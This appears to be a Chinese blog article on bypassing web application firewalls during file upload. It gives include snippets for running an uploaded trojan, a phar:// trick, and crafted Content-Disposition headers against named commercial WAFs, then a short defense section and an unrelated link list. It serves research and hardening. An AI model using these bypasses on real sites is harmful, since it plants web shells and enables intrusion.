常见6种WAF绕过和防护原理
本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担!
今天就聊聊关于上传绕过WAF的姿势,WAF(Web Application Firewall)简单的来说就是执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。上传绕过不算什么技术了,正所谓未知防,焉知攻,先来了解一下网站的防御措施吧!
一、Bypass Waf
1.一般开发人员防御策略
客户端javascript校验(一般只校验后缀名)服务端校验1>文件头content-type字段校验(image/gif)2>文件内容头校验(GIF89a)3>后缀名黑名单校验4>后缀名白名单校验5>自定义正则校验6>WAF设备校验(根据不同的WAF产品而定)
2.Bypass
2.1 有些waf不会防asp/php/jsp后缀的文件,但是他会检测里面的内容
eg1: 1.先上传一个内容为木马的txt后缀文件,因为后缀名的关系没有检验内容
2.然后再上传一个.php的文件,内容为
此时,这个php文件就会去引用txt文件的内容,从而绕过校验,下面列举包含的语法:
PHP
<?php Include("上传的txt文件路径");?>
ASP
<!--#include file="上传的txt文件路径" -->
JSP
<jsp:include page="上传的txt文件路径"/>
or
<%@include file="上传的txt文件路径"%>
eg2: 上传文件:test.txt 将test.txt添加成压缩文件test.rar
上传文件:shell.php
<?php
include 'phar://test.rar/test.txt';
?>
访问shell.php就可以执行php代码 尝试修改压缩文件后缀为zip、phar、rar发现都是可以的。
2.2 WTS-WAF Bypass
Content-Disposition: form-data; name=“up_picture”; filename=“xss.php”
2.3 Baidu cloud Bypass
发现百度云目前正在拦截后缀,百度云过上传还跟<?php前面是否有代码还有很大关系,在这里就不要废话了,大家自己去研究一下吧。 Content-Disposition: form-data; name=“up_picture”; filename=“xss.jpg .Php”
百度云绕过就简单的很多很多,在对文件名大小写上面没有检测php是过了的,Php就能过,或者PHP,一句话自己合成图片马用Xise连接即可。
2.4 阿里云WAF
Content-Disposition: form-data; name=“img_crop_file”; filename="1.jpg .Php"Content-Type: image/jpeg
Bypass: Content-Disposition: form-data; name=“img_crop_file”; filename=“1.php”
Note:你看的没错,删除Content-Type: image/jpeg即可绕过。
2.5 安全狗上传Bypass(最新版不可绕)
Content-Disposition: form-data; name=“image”; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
Bypass: Content-Disposition: form-data; name=“image”; filename="085733uykwusqcs8vw8wky.png
C.php" Note:删掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php".原理就不多说了,自己研究。
2.6 云锁上传Bypass
Content-Disposition: form-data; name=“up_picture”; filename=“xss.php”
二、Defense
详细说一下Type绕过防御机制,其他的防御机制自己可以下去研究.
1.目录设为不可执行:
只要web容器无法解析该目录下的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响,所以此点至关重要。
2.判断文件类型:
判断文件类型时,应结合MIME-Type、后缀检查等方式、推荐使用白名单的方式。
3.用随机数改写:
文件上传如果要执行代码,则需要用户能访问到这个文件。在某些环境下,用户能上传,但是不能访问。
三、Summary
研究WAF的绕过手段,是为了更好的提升WAF的防御能力。在研究突破的过程中,不要只是仅仅停留在正则表达式、基本漏洞原理,需要对涉及并深入更多的领域,例如HTTP协议理解和PHP、Tomcat对HTTP协议源码分析,MySQL词法分析,和Fuzz的思路等。在此过程中,会有许多乐趣,也会有各方面能力的提升。
- 简单直白教你理解Java中四大引用强引用,软引用,弱引用,虚引用
- ubuntu系统上配置git
- Android源码编译出错No rule to make...
- Android中资源各种引用方式?,@,@*等等
- git撤销修改各种情况
- Android中ContentProvider简介
- 利用Androidstudio开发Java工程图文详解
- 小程序学习笔记分享(含1-tabBar、轮播图和九宫格)
- Android中ViewStub控件分析及使用
- 如何实现微信小程序的滚动加载功能
- 分享微信小程序推送消息步骤
- 实例分享微信小程序项目搭建(下)
- 实例分享微信小程序项目搭建(上)
- Android6.0源码分析之蓝牙显示接收到的文件
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- C# dotnet 使用 startIndex 提升 IndexOf 的性能
- vscode .vue文件格式配置 使其与webstorm设置一致
- Go 语言学习之 slice
- koa2实现微信公众号关注自动回复消息
- 两个字数字字符串求和
- 设计模式(二):Android 源码中的工厂模式
- MoveIt!之ROS1Melodic版本发布(MoveItCpp教程)
- 机器学习第1天:线性回归(代码篇)
- PHP二分查找
- OnClick 的另一种书写
- JVM系列之:JIT中的Virtual Call
- 速读原著-UnixLinux基础(五)
- Celery在Django中的简单应用
- 基于数据库Binlog 的业务系统操作日志实现方案(阿里中间件Canal)
- 速读原著-UnixLinux基础(三)